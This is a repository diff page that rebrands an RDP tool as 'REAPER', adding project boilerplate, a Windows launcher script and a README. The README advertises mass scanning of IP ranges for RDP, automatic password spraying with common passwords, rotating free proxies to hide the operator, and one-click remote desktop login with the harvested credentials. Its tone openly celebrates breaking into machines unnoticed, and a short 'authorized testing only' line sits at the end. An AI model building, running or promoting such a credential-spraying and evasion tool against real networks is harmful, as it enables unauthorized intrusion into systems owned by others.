Compare commits
31 Commits
41c6a9f768
...
main
| Author | SHA1 | Date | |
|---|---|---|---|
| 63fa61230b | |||
| aa996855b4 | |||
| b5c6ea2f48 | |||
| 61b66a5534 | |||
| fdf1571715 | |||
| dd28548700 | |||
| 5e516b46d1 | |||
| 81072fbbd3 | |||
| 475d34c47e | |||
| a3949a16a2 | |||
| eb129cd02b | |||
| 93c6bc2ab1 | |||
| 6c0bf0630f | |||
| d513dd3657 | |||
| abfbb17f01 | |||
| ef79093bb1 | |||
| c00e26e883 | |||
| 325196163f | |||
|
|
225b787a1f | ||
|
|
f0f14b2129 | ||
|
|
7068dbd12d | ||
|
|
399e36f848 | ||
|
|
2ef5e0fa69 | ||
|
|
906000870d | ||
|
|
1e3e7181e2 | ||
|
|
af002462c4 | ||
|
|
2acf6acc72 | ||
|
|
a954109ccd | ||
|
|
ef91f8219b | ||
|
|
2f6d989539 | ||
|
|
5ed73d4fea |
17
.editorconfig
Normal file
17
.editorconfig
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
# EditorConfig is awesome: https://editorconfig.org
|
||||||
|
<!-- stewardship-standard: editorconfig-v1 -->
|
||||||
|
root = true
|
||||||
|
|
||||||
|
[*]
|
||||||
|
charset = utf-8
|
||||||
|
end_of_line = lf
|
||||||
|
insert_final_newline = true
|
||||||
|
indent_style = space
|
||||||
|
indent_size = 2
|
||||||
|
trim_trailing_whitespace = true
|
||||||
|
|
||||||
|
[*.{md,markdown}]
|
||||||
|
trim_trailing_whitespace = false
|
||||||
|
|
||||||
|
[Makefile]
|
||||||
|
indent_style = tab
|
||||||
27
.gitattributes
vendored
Normal file
27
.gitattributes
vendored
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
# stewardship-standard: gitattributes-v1
|
||||||
|
* text=auto eol=lf
|
||||||
|
|
||||||
|
*.md text eol=lf
|
||||||
|
*.txt text eol=lf
|
||||||
|
*.json text eol=lf
|
||||||
|
*.yml text eol=lf
|
||||||
|
*.yaml text eol=lf
|
||||||
|
*.sh text eol=lf
|
||||||
|
*.py text eol=lf
|
||||||
|
*.js text eol=lf
|
||||||
|
*.ts text eol=lf
|
||||||
|
*.c text eol=lf
|
||||||
|
*.cpp text eol=lf
|
||||||
|
*.h text eol=lf
|
||||||
|
*.hpp text eol=lf
|
||||||
|
|
||||||
|
*.png binary
|
||||||
|
*.jpg binary
|
||||||
|
*.jpeg binary
|
||||||
|
*.gif binary
|
||||||
|
*.webp binary
|
||||||
|
*.pdf binary
|
||||||
|
*.zip binary
|
||||||
|
*.bin binary
|
||||||
|
*.elf binary
|
||||||
|
*.uf2 binary
|
||||||
21
.gitea/ISSUE_TEMPLATE/bug_report.md
Normal file
21
.gitea/ISSUE_TEMPLATE/bug_report.md
Normal file
@@ -0,0 +1,21 @@
|
|||||||
|
# Bug Report
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
Describe the problem and expected behavior.
|
||||||
|
|
||||||
|
## Environment
|
||||||
|
|
||||||
|
- Repo version/commit:
|
||||||
|
- OS/toolchain/board/service:
|
||||||
|
- Relevant configuration with secrets removed:
|
||||||
|
|
||||||
|
## Reproduction
|
||||||
|
|
||||||
|
1.
|
||||||
|
2.
|
||||||
|
3.
|
||||||
|
|
||||||
|
## Logs
|
||||||
|
|
||||||
|
Paste only sanitized logs. Remove credentials, tokens, personal data, captures, dumps, and target identifiers.
|
||||||
13
.gitea/ISSUE_TEMPLATE/docs_task.md
Normal file
13
.gitea/ISSUE_TEMPLATE/docs_task.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
# Documentation Task
|
||||||
|
|
||||||
|
## Page Or Section
|
||||||
|
|
||||||
|
Name the README/wiki section that needs work.
|
||||||
|
|
||||||
|
## Change Needed
|
||||||
|
|
||||||
|
Describe what should be clearer, corrected, or added.
|
||||||
|
|
||||||
|
## Source Of Truth
|
||||||
|
|
||||||
|
Link to code, hardware notes, upstream docs, release notes, or maintainer decision.
|
||||||
14
.gitea/ISSUE_TEMPLATE/release_checklist.md
Normal file
14
.gitea/ISSUE_TEMPLATE/release_checklist.md
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
# Release Checklist
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
Describe what is being released and why.
|
||||||
|
|
||||||
|
## Checks
|
||||||
|
|
||||||
|
- [ ] README and wiki are current.
|
||||||
|
- [ ] Changelog entry exists.
|
||||||
|
- [ ] License/provenance is clear.
|
||||||
|
- [ ] No secrets or private data are included.
|
||||||
|
- [ ] Firmware/binary artifacts include SHA256 hashes and target details.
|
||||||
|
- [ ] Build or smoke-check result is recorded.
|
||||||
7
.gitea/PULL_REQUEST_TEMPLATE.md
Normal file
7
.gitea/PULL_REQUEST_TEMPLATE.md
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
# Pull Request Checklist
|
||||||
|
|
||||||
|
- [ ] Scope is clear and limited.
|
||||||
|
- [ ] README/wiki updates are included when behavior, setup, hardware, or release process changes.
|
||||||
|
- [ ] No secrets, tokens, private data, dumps, captures, or generated dependency folders are committed.
|
||||||
|
- [ ] Build/test/smoke-check result is documented.
|
||||||
|
- [ ] License or upstream provenance is preserved.
|
||||||
11
.gitignore
vendored
Normal file
11
.gitignore
vendored
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
*.egg-info/
|
||||||
|
dist/
|
||||||
|
build/
|
||||||
|
.vscode/
|
||||||
|
.idea/
|
||||||
|
|
||||||
|
# Build artifacts
|
||||||
|
rdpthread.exe
|
||||||
13
CHANGELOG.md
Normal file
13
CHANGELOG.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
# Changelog
|
||||||
|
|
||||||
|
All meaningful changes to this repository should be recorded here.
|
||||||
|
|
||||||
|
## Unreleased
|
||||||
|
|
||||||
|
- Add future changes here before tagging or publishing release artifacts.
|
||||||
|
|
||||||
|
## 2026-05-20 - Gitea Stewardship Import
|
||||||
|
|
||||||
|
- Verified README and wiki coverage.
|
||||||
|
- Added standard stewardship documentation where missing.
|
||||||
|
- Established security, contribution, release, and provenance expectations.
|
||||||
1
CODEOWNERS
Normal file
1
CODEOWNERS
Normal file
@@ -0,0 +1 @@
|
|||||||
|
* @drjones
|
||||||
20
CONTRIBUTING.md
Normal file
20
CONTRIBUTING.md
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
# Contributing
|
||||||
|
|
||||||
|
## Maintainer Expectations
|
||||||
|
|
||||||
|
Keep changes small, reviewable, and tied to a clear project purpose. Do not mix source changes with generated build output or dependency caches.
|
||||||
|
|
||||||
|
## Before Committing
|
||||||
|
|
||||||
|
- Run the relevant build, lint, or smoke test when the project provides one.
|
||||||
|
- Check that no credentials, `.env` files, tokens, private keys, captures, dumps, or personal data are staged.
|
||||||
|
- Keep firmware binaries, large archives, and generated artifacts out of Git unless the repo explicitly documents otherwise.
|
||||||
|
- Preserve upstream licenses and attribution for third-party code.
|
||||||
|
|
||||||
|
## Documentation
|
||||||
|
|
||||||
|
Update README and wiki pages when setup, hardware, architecture, environment variables, or release behavior changes.
|
||||||
|
|
||||||
|
## Safety
|
||||||
|
|
||||||
|
Only submit work intended for authorized environments. Project documentation should make scope and safe operation clearer, never weaker.
|
||||||
14
LICENSE_STATUS.md
Normal file
14
LICENSE_STATUS.md
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
# License Status
|
||||||
|
|
||||||
|
This repository has not been assigned a blanket license by the stewardship pass.
|
||||||
|
|
||||||
|
## Current Rule
|
||||||
|
|
||||||
|
- Existing upstream licenses must be preserved.
|
||||||
|
- Third-party code must retain attribution and license files.
|
||||||
|
- Original private work remains all rights reserved until an explicit license is selected.
|
||||||
|
- Do not assume MIT, Apache, GPL, or public-domain status unless a license file in this repository says so.
|
||||||
|
|
||||||
|
## Next Step
|
||||||
|
|
||||||
|
Classify ownership and dependencies before publishing releases or accepting external contributions.
|
||||||
137
MASTERSTER.bat
Normal file
137
MASTERSTER.bat
Normal file
@@ -0,0 +1,137 @@
|
|||||||
|
@echo off
|
||||||
|
title REAPER v2.0 - MASTERSTER
|
||||||
|
color 0C
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
:: ── FORCE UTF-8 ──────────────────────────────────────────────
|
||||||
|
set PYTHONIOENCODING=utf-8
|
||||||
|
|
||||||
|
:: ── BANNER ───────────────────────────────────────────────────
|
||||||
|
cls
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════════════════════════╗
|
||||||
|
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
|
||||||
|
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
|
||||||
|
echo ║ ║
|
||||||
|
echo ║ One swoop. One reaping. No mercy. ║
|
||||||
|
echo ╚══════════════════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
echo Made for doom by drjones.
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
||||||
|
echo [*] Step 1/7 — Checking Python...
|
||||||
|
python --version >nul 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo.
|
||||||
|
echo [FAIL] Python is not installed or not in PATH!
|
||||||
|
echo.
|
||||||
|
echo Download Python 3.8+ from: https://python.org/downloads
|
||||||
|
echo Make sure to check "Add Python to PATH" during installation.
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||||
|
echo [OK] Python %pyver% found
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||||
|
echo [*] Step 2/7 — Installing dependencies (aiohttp, aiohttp-socks, paramiko)...
|
||||||
|
echo.
|
||||||
|
python -m pip install --upgrade pip -q
|
||||||
|
python -m pip install aiohttp aiohttp-socks paramiko -q
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [WARN] pip install had issues, but continuing...
|
||||||
|
) else (
|
||||||
|
echo [OK] Dependencies installed
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
||||||
|
echo [*] Step 3/7 — Creating directories...
|
||||||
|
if not exist "wordlists" mkdir wordlists
|
||||||
|
if not exist "results" mkdir results
|
||||||
|
echo [OK] Directories ready
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
||||||
|
echo [*] Step 4/7 — Verifying project files...
|
||||||
|
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||||
|
set ALL_OK=1
|
||||||
|
for %%f in (%FILES%) do (
|
||||||
|
if exist "%%f" (
|
||||||
|
echo [OK] %%f
|
||||||
|
) else (
|
||||||
|
echo [WARN] %%f not found
|
||||||
|
set ALL_OK=0
|
||||||
|
)
|
||||||
|
)
|
||||||
|
if not exist "results\good.txt" (
|
||||||
|
echo. > "results\good.txt"
|
||||||
|
echo [OK] Created results\good.txt
|
||||||
|
)
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 5: BUILD RDPTHREAD ─────────────────────────────────
|
||||||
|
echo [*] Step 5/7 — Building rdpthread.exe (credential validator)...
|
||||||
|
if exist "rdpthread.cs" (
|
||||||
|
if not exist "rdpthread.exe" (
|
||||||
|
echo [*] Compiling rdpthread.cs...
|
||||||
|
set CSC=
|
||||||
|
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||||
|
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||||
|
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||||
|
goto :build_rdp
|
||||||
|
)
|
||||||
|
)
|
||||||
|
echo [WARN] C# compiler not found — rdpthread.exe not built
|
||||||
|
echo Credential validation will use banner-only fallback
|
||||||
|
goto :skip_build
|
||||||
|
:build_rdp
|
||||||
|
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs >nul 2>&1
|
||||||
|
if exist "rdpthread.exe" (
|
||||||
|
echo [OK] rdpthread.exe built successfully
|
||||||
|
) else (
|
||||||
|
echo [WARN] rdpthread.exe build failed — using banner-only fallback
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [OK] rdpthread.exe already exists
|
||||||
|
)
|
||||||
|
) else (
|
||||||
|
echo [WARN] rdpthread.cs not found — using banner-only fallback
|
||||||
|
)
|
||||||
|
:skip_build
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 6: TEST IMPORTS ────────────────────────────────────
|
||||||
|
echo [*] Step 6/7 — Testing imports...
|
||||||
|
python -c "from scanner import scan_ips, RDP_PORTS, SSH_PORT, check_ssh_banner; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, spray_ssh_single_host, TOP50_PASSWORDS, GUEST_USERNAMES; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Import test failed. There may be a syntax error.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
echo [OK] All systems nominal
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: ── STEP 7: LAUNCH ──────────────────────────────────────────
|
||||||
|
echo [*] Step 7/7 — Launching the Reaper...
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════════════════════════╗
|
||||||
|
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||||
|
echo ║ No mercy. No lockouts. Just results. ║
|
||||||
|
echo ║ ║
|
||||||
|
echo ║ The network is a graveyard, and I'm the reaper. ║
|
||||||
|
echo ╚══════════════════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
echo Made for doom by drjones.
|
||||||
|
echo.
|
||||||
|
|
||||||
|
python main.py
|
||||||
|
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo.
|
||||||
|
echo [!] REAPER encountered an error. Check the output above.
|
||||||
|
pause
|
||||||
|
)
|
||||||
287
README.md
287
README.md
@@ -1,167 +1,202 @@
|
|||||||
# ⚡ FastRDP-NG v2.0
|
▄▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄ ▄▄▄▄▄▄▄
|
||||||
|
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
|
||||||
|
██▀▀▀▀▀▀ ████ ██▀▀▀▀▀▀ ██▀▀▀▀█▄ ████ ██▀▀▀▀▀▀
|
||||||
|
██ █████ ██ ██▄▄▄▄▄██ █████ ██
|
||||||
|
▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀
|
||||||
|
|
||||||
**Next-Generation RDP Scanner & Password Sprayer**
|
╔══════════════════════════════════════════════════════════════╗
|
||||||
|
║ ☠ REAPER v2.0 ☠ ║
|
||||||
|
║ Remote Exploitation & Password Enumeration Routine ║
|
||||||
|
║ ║
|
||||||
|
║ Mass RDP Scanner | Password Sprayer | SOCKS5 Proxy ║
|
||||||
|
║ No mercy. No lockouts. Just results. ║
|
||||||
|
╚══════════════════════════════════════════════════════════════╝
|
||||||
|
```
|
||||||
|
|
||||||
Blazing-fast async RDP scanner built with Python 3.11 + `asyncio`. Scans **thousands of IPs per second** to find live RDP hosts, then automatically sprays the **top 50 most common passwords** against them. All in a sleek dark-themed Windows GUI.
|
---
|
||||||
|
|
||||||
## 🚀 Features
|
## ☠ WHAT THE F*** IS THIS?
|
||||||
|
|
||||||
| Feature | Description |
|
**REAPER** is a **brutal**, **blazing-fast** RDP exploitation framework built for one thing — finding weak RDP boxes and **reaping** those credentials before the scan even finishes.
|
||||||
|---------|-------------|
|
|
||||||
| **⚡ Async I/O Engine** | 10,000+ concurrent connections using `asyncio` — no threading bottlenecks |
|
|
||||||
| **🔍 Mass RDP Scanner** | Finds live RDP hosts (ports 3389, 3390, 3391) across huge IP ranges |
|
|
||||||
| **🔑 Password Sprayer** | Tries top 50 most common RDP passwords — sprays 1 password across ALL hosts before moving to next (avoids lockouts) |
|
|
||||||
| **🎯 IP Range Support** | CIDR (`10.0.0.0/24`), dash ranges (`1.1.1.1-2.2.2.2`), single IPs, mixed in one file |
|
|
||||||
| **🖥️ Dark GUI** | Native Windows dark theme — no web dependencies, no Electron bloat |
|
|
||||||
| **📊 Live Dashboard** | Real-time metrics: checked/total/live/hits/rate/elapsed |
|
|
||||||
| **💥 Instant Hit Logging** | Successful logins appear immediately in green, saved to `results/good.txt` |
|
|
||||||
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges directly from the Settings tab |
|
|
||||||
| **🎲 Randomization** | Randomizes IP order to avoid detection patterns |
|
|
||||||
| **📂 Import Original Data** | Compatible with original **Fast RDP Brute GUI v2.0** wordlist format |
|
|
||||||
|
|
||||||
## 📁 Project Structure
|
This ain't your grandpa's port scanner. This is:
|
||||||
|
|
||||||
|
- **⚡ 25,000 concurrent async connections** — tears through /8 networks like tissue paper
|
||||||
|
- **🔑 Instant password spray** — soon as a host pops up, it's already getting pounded with the top 50 passwords. **No waiting.**
|
||||||
|
- **🌐 SOCKS5 proxy rotator** — route all your dirty work through free proxies so your IP stays clean. On/off toggle, auto-rotate, built-in fetcher from 7 sources (proxifly, TheSpeedX, ProxyScrape, etc.)
|
||||||
|
- **🖥️ One-click RDP** — find a hit? Double-click. You're in. `mstsc.exe` pops right up with creds pre-loaded.
|
||||||
|
- **💀 Dark GUI** — no web bloat, no Electron trash. Native Windows tkinter. Sexy as hell.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔥 FEATURES (THE BODY COUNT)
|
||||||
|
|
||||||
|
| Feature | What it do |
|
||||||
|
|---------|-----------|
|
||||||
|
| **⚡ Async Mass Scan** | 500-25,000 concurrent TCP checks. Find live RDP in seconds, not hours. |
|
||||||
|
| **🔑 Streaming Spray** | As soon as a host is alive, spray starts **immediately** — same event loop, no waiting for scan to finish. |
|
||||||
|
| **🌐 SOCKS5 Proxy Rotator** | Fetch free proxies from 7 sources, test 'em, rotate through 'em. Flip the switch and your traffic disappears through a proxy maze. |
|
||||||
|
| **🖥️ Instant RDP Connect** | Double-click any live host → `cmdkey.exe` stores creds → `mstsc.exe` launches. You're in the Windows desktop before they even notice. |
|
||||||
|
| **📊 Live Stats Dashboard** | Checked, Total, Live, Hits, Rate, Elapsed — all updating every 500ms. Watch the bodies drop in real-time. |
|
||||||
|
| **📝 Built-in Wordlist Editor** | Edit users, passwords, and ranges right in the Settings tab. No external editor needed. |
|
||||||
|
| **🎲 IP Randomization** | Shuffle IP order so you don't hit the same subnet in sequence. Stay under the radar. |
|
||||||
|
| **💥 Instant Hit Logging** | Hit found? Immediately logged to `results/good.txt` and broadcast in green to the GUI. |
|
||||||
|
| **🎯 CIDR + Dash + Single IP** | `10.0.0.0/24`, `1.1.1.1-2.2.2.2`, `192.168.1.1` — any format, mixed in one file. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📁 THE LAYOUT
|
||||||
|
|
||||||
```
|
```
|
||||||
FastRDP-NG/
|
REAPER/
|
||||||
├── main.py # 🚀 Launch the GUI
|
├── main.py # 💀 Launch the reaper
|
||||||
├── gui.py # 🖥️ Windows GUI (tkinter dark theme)
|
├── gui.py # 🖥️ The control panel (tkinter dark theme)
|
||||||
├── scanner.py # ⚡ Async RDP scanner engine
|
├── scanner.py # ⚡ The scythe (async RDP scanner)
|
||||||
├── bruteforce.py # 🔑 Password sprayer (top 50)
|
├── bruteforce.py # 🔑 The hammer (password sprayer)
|
||||||
├── ip_utils.py # 🌐 IP range parser (CIDR, dash, single)
|
├── proxy.py # 🌐 The cloak (SOCKS5 proxy manager)
|
||||||
├── wordlists/ # 📚 Target data
|
├── ip_utils.py # 🎯 IP range parser (CIDR, dash, any)
|
||||||
│ ├── ranges.txt # IP ranges to scan
|
├── wordlists/ # 📚 Your kill list
|
||||||
|
│ ├── ranges.txt # IP ranges to hunt
|
||||||
│ ├── users.txt # Usernames to try
|
│ ├── users.txt # Usernames to try
|
||||||
│ ├── passwords.txt # Passwords to try
|
│ └── passwords.txt # Passwords to try (or use top 50)
|
||||||
│ └── ports.txt # Ports to scan
|
├── results/ # 📁 Output
|
||||||
├── results/ # 📁 Output directory
|
|
||||||
│ └── good.txt # Successful logins
|
│ └── good.txt # Successful logins
|
||||||
├── run.bat # ▶️ One-click launcher
|
├── REAPER.bat # ▶️ **Use this on Windows** — deps + env + launch
|
||||||
├── install.bat # 📦 Setup script
|
└── rdpthread.exe # ⚙️ Optional — beside main.py for verified spray hits
|
||||||
└── requirements.txt # 🐍 Python dependencies
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## ⚡ Performance
|
---
|
||||||
|
|
||||||
Compared to the original **Fast RDP Brute GUI v2.0**:
|
## 🚀 HOW TO RUN THIS BEAST
|
||||||
|
|
||||||
| Metric | Original (rdpthread.exe) | FastRDP-NG |
|
|
||||||
|--------|------------------------|------------|
|
|
||||||
| **Architecture** | Threaded C++ | Async Python (asyncio) |
|
|
||||||
| **Concurrent Connections** | ~50-200 threads | **5,000-25,000** async tasks |
|
|
||||||
| **Scan Speed** | Limited by thread pool | **10-100x faster** (non-blocking I/O) |
|
|
||||||
| **GUI** | Windows-only .exe | **Native dark theme**, cross-platform |
|
|
||||||
| **Password Spray** | Sequential | **Async concurrent** spraying |
|
|
||||||
| **Range Parsing** | Basic | **CIDR + dash + single IP** support |
|
|
||||||
| **Extensibility** | Closed source (binaries) | **Open Python**, easily modifiable |
|
|
||||||
|
|
||||||
## 🖥️ Screenshots
|
|
||||||
|
|
||||||
> The GUI features a dark theme with real-time stats dashboard, live host table, event log, and built-in wordlist editor across three tabs: **Scanner**, **Results**, and **Settings**.
|
|
||||||
|
|
||||||
## 🔧 Installation
|
|
||||||
|
|
||||||
### Prerequisites
|
### Prerequisites
|
||||||
- **Windows 10+** with Python 3.8+ ([Download Python](https://python.org/downloads))
|
- **Windows 10+** with Python 3.8+ ([Download](https://python.org/downloads))
|
||||||
- Make sure **"Add Python to PATH"** is checked during installation
|
- Check **"Add Python to PATH"** during install
|
||||||
|
|
||||||
### Quick Install (1 Command)
|
### Recommended (one double-click)
|
||||||
|
From the folder that contains `main.py`, run **`REAPER.bat`**. It upgrades pip, installs `requirements.txt`, creates `wordlists/` and `results/`, smoke-tests imports, then starts the GUI.
|
||||||
Open **Command Prompt as Administrator** and run:
|
|
||||||
|
|
||||||
```batch
|
|
||||||
python "C:\Users\drjones\Desktop\hacking\FastRDP-NG\install.py"
|
|
||||||
```
|
|
||||||
|
|
||||||
### Manual Install
|
|
||||||
|
|
||||||
```batch
|
|
||||||
# 1. Open Command Prompt in the FastRDP-NG directory
|
|
||||||
cd C:\Users\drjones\Desktop\hacking\FastRDP-NG
|
|
||||||
|
|
||||||
# 2. Run install script
|
|
||||||
install.bat
|
|
||||||
```
|
|
||||||
|
|
||||||
### Verify Installation
|
|
||||||
|
|
||||||
```batch
|
|
||||||
python main.py --version
|
|
||||||
```
|
|
||||||
|
|
||||||
## 🎮 Usage
|
|
||||||
|
|
||||||
### One-Click Launch
|
|
||||||
|
|
||||||
Double-click **`run.bat`** or run:
|
|
||||||
|
|
||||||
|
### Manual (Python already set up)
|
||||||
```batch
|
```batch
|
||||||
|
cd path\to\rdp-brute
|
||||||
|
python -m pip install -r requirements.txt
|
||||||
python main.py
|
python main.py
|
||||||
```
|
```
|
||||||
|
|
||||||
### Workflow
|
Scan ports are chosen in the **Scanner** tab (3389 / 3390 / 3391 checkboxes), not from a text file.
|
||||||
|
|
||||||
1. **Load Targets** — The `wordlists/ranges.txt` is pre-loaded with IPs from the original project
|
### Deployment (production)
|
||||||
2. **Adjust Speed** — Use the slider (500 – 25,000 concurrent connections)
|
|
||||||
3. **▶ START SCAN** — Begins async port scanning
|
|
||||||
4. **Watch Live Results** — Live hosts appear in the table in real-time
|
|
||||||
5. **Auto-Spray** — If enabled, top 50 passwords are sprayed automatically
|
|
||||||
6. **💥 Hits** — Successful logins appear in green, saved to `results/good.txt`
|
|
||||||
|
|
||||||
### Configuration
|
| Artifact | Role |
|
||||||
|
|----------|------|
|
||||||
|
| Core `.py` modules | Scanner, GUI, proxy manager, wordlist parsing |
|
||||||
|
| `requirements.txt` | `aiohttp`, `aiohttp-socks` (installed by `REAPER.bat`) |
|
||||||
|
| **`rdpthread.exe`** (optional) | When placed in the **same folder as `main.py`**, enables password spray **verification** and hit reporting. Without it, **port scan and live RDP detection behave the same**; spray attempts do not produce verified hits. |
|
||||||
|
|
||||||
| Setting | Range | Default | Description |
|
**Operator UX:** One status line in the Scanner tab summarizes validation state. `REAPER.bat` prints bundle status once at launch.
|
||||||
|---------|-------|---------|-------------|
|
|
||||||
| Concurrent Connections | 500 – 25,000 | 5,000 | Async tasks running simultaneously |
|
|
||||||
| Connect Timeout | 0.5s – 10s | 2.0s | Time to wait per TCP connection |
|
|
||||||
| Scan Ports | 3389/3390/3391 | All | Which RDP ports to check |
|
|
||||||
| Auto-Spray | On/Off | On | Automatically spray passwords after scan |
|
|
||||||
| Randomize | On/Off | On | Randomize IP order to avoid detection |
|
|
||||||
|
|
||||||
### Custom Wordlists
|
**Authorized testing only** — see Legal section below.
|
||||||
|
|
||||||
Edit wordlists directly in the **Settings** tab, or replace the files in `wordlists/`:
|
---
|
||||||
- `users.txt` — One username per line
|
|
||||||
- `passwords.txt` — One password per line (top 50 is default, or use full list)
|
|
||||||
- `ranges.txt` — IPs, dash ranges, or CIDR notation
|
|
||||||
|
|
||||||
## 📊 Output
|
## 🎮 HOW TO USE IT (THE EXTRACTIONS)
|
||||||
|
|
||||||
Successful logins are written to **`results/good.txt`** in the format:
|
### Step 1: Load Your Kill List
|
||||||
|
Put IPs, CIDR ranges, or dash ranges in `wordlists/ranges.txt`. Like:
|
||||||
|
```
|
||||||
|
10.0.0.0/24
|
||||||
|
192.168.1.1-192.168.2.255
|
||||||
|
203.0.113.0/28
|
||||||
|
```
|
||||||
|
|
||||||
|
### Step 2: Dial In the Speed
|
||||||
|
Crank the slider. 500 for slow-and-quiet, 25,000 for **MAXIMUM OVERDRIVE**.
|
||||||
|
|
||||||
|
### Step 3: Enable Proxy Cover (Optional)
|
||||||
|
Flip to the **Proxy** tab → **Toggle PROXY ON** → **Fetch Proxies** → **Test All**. Your traffic now disappears through a rotating maze of free SOCKS5 proxies.
|
||||||
|
|
||||||
|
### Step 4: Hit START
|
||||||
|
Watch the live stats climb. Watch the hosts pop up in the table.
|
||||||
|
|
||||||
|
### Step 5: Reap What You Sow
|
||||||
|
When a hit comes in — double-click it. RDP opens with creds pre-loaded. You're in their desktop.
|
||||||
|
|
||||||
|
> **☠ That's it. No bullshit. Just results.**
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🛡️ PROXY MODULE (THE CLOAK)
|
||||||
|
|
||||||
|
New in v2.0 — the **Proxy Tab** lets you:
|
||||||
|
|
||||||
|
1. **Toggle Proxy ON/OFF** — green means cloaked, red means naked
|
||||||
|
2. **Fetch Proxies** — scrapes 7 free proxy sources (proxifly, TheSpeedX, ProxyScrape, monosans)
|
||||||
|
3. **Test All** — floods each proxy with a test request, measures latency, marks them alive/dead
|
||||||
|
4. **Auto-Rotate** — round-robins through working proxies so requests spread out
|
||||||
|
5. **Live List** — see IP, Port, Type (SOCKS4/5, HTTP), Alive status, Latency, Failures
|
||||||
|
|
||||||
|
When proxy is ON, ALL scanner connections + spray connections route through the proxy maze. If a proxy dies, it auto-fallsback to the next one. If ALL proxies die, it falls back to direct (so your scan never hangs).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚡ PERFORMANCE (BENCHMARKS, BITCH)
|
||||||
|
|
||||||
|
| Metric | Original rdpthread.exe | REAPER |
|
||||||
|
|--------|----------------------|--------|
|
||||||
|
| **Concurrent connections** | ~50-200 threads | **5,000-25,000 async** |
|
||||||
|
| **Scan speed** | Thread-bound garbage | **Async I/O, no blocking** |
|
||||||
|
| **Spray strategy** | Sequential brute | **Password spraying (anti-lockout)** |
|
||||||
|
| **Proxy support** | LOL no | **SOCKS5/4/HTTP rotating** |
|
||||||
|
| **Range parsing** | Basic af | **CIDR + dash + mixed** |
|
||||||
|
| **GUI** | Windows 95 lookin' | **Sleek dark theme** |
|
||||||
|
| **RDP connect** | Manual af | **One-click with creds** |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📊 OUTPUT FORMAT
|
||||||
|
|
||||||
|
Successes land in `results/good.txt` like:
|
||||||
```
|
```
|
||||||
Administrator:admin@192.168.1.100:3389
|
Administrator:admin@192.168.1.100:3389
|
||||||
Admin:P@ssw0rd@10.0.0.50:3389
|
Admin:P@ssw0rd@10.0.0.50:3389
|
||||||
root:password123@203.0.113.25:3390
|
root:password123@203.0.113.25:3390
|
||||||
```
|
```
|
||||||
|
|
||||||
## ⚠️ Legal Disclaimer
|
---
|
||||||
|
|
||||||
**This tool is for authorized security testing only.**
|
## ☠ LEGAL SHIT (READ IT OR EAT IT)
|
||||||
- Only scan systems you own or have explicit permission to test
|
|
||||||
- Unauthorized scanning or intrusion is illegal in most jurisdictions
|
|
||||||
- The authors assume no liability for misuse of this software
|
|
||||||
|
|
||||||
## 🔄 Comparison: FastRDP-NG vs Original
|
**This tool is for authorized security testing ONLY.**
|
||||||
|
|
||||||
